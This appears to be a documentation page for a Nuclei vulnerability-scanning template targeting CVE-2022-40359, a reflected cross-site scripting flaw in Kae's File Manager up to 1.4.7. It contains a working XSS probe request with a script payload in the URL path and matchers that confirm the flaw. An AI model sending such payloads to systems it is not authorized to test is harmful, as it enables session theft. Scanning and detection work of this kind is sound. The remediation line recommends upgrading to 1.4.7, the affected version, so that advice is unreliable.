Kae's File Manager <=1.4.7 - Cross-Site Scripting
ID: CVE-2022-40359
Severity: medium
Author: edoardottt,daffainfo
Tags: cve,cve2022,xss,kfm,kfm_project
Description
Section titled “Description”Kae’s File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
YAML Source
Section titled “YAML Source”id: CVE-2022-40359
info: name: Kae's File Manager <=1.4.7 - Cross-Site Scripting author: edoardottt,daffainfo severity: medium description: | Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability. reference: - https://cxsecurity.com/issue/WLB-2022090057 - https://code.google.com/archive/p/kfm/downloads - https://nvd.nist.gov/vuln/detail/CVE-2022-40359 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-40359 cwe-id: CWE-79 epss-score: 0.00129 epss-percentile: 0.46796 cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: kfm_project product: kfm tags: cve,cve2022,xss,kfm,kfm_project
http: - raw: - | GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: word part: body words: - "<script>alert(document.domain);</script>" - "x_kfm_changeCaption" - "kfm_copyFiles" condition: and
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 490a0046304402201b3d6f256b45de9982053c8a19e5d53e557b2c7c65916e0c5d8f927a0bb8a8300220304c1dd23bb8ee83ab7fc07ac22f9e80479155faeec36ea639b42bd730935a70:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-40359.yaml"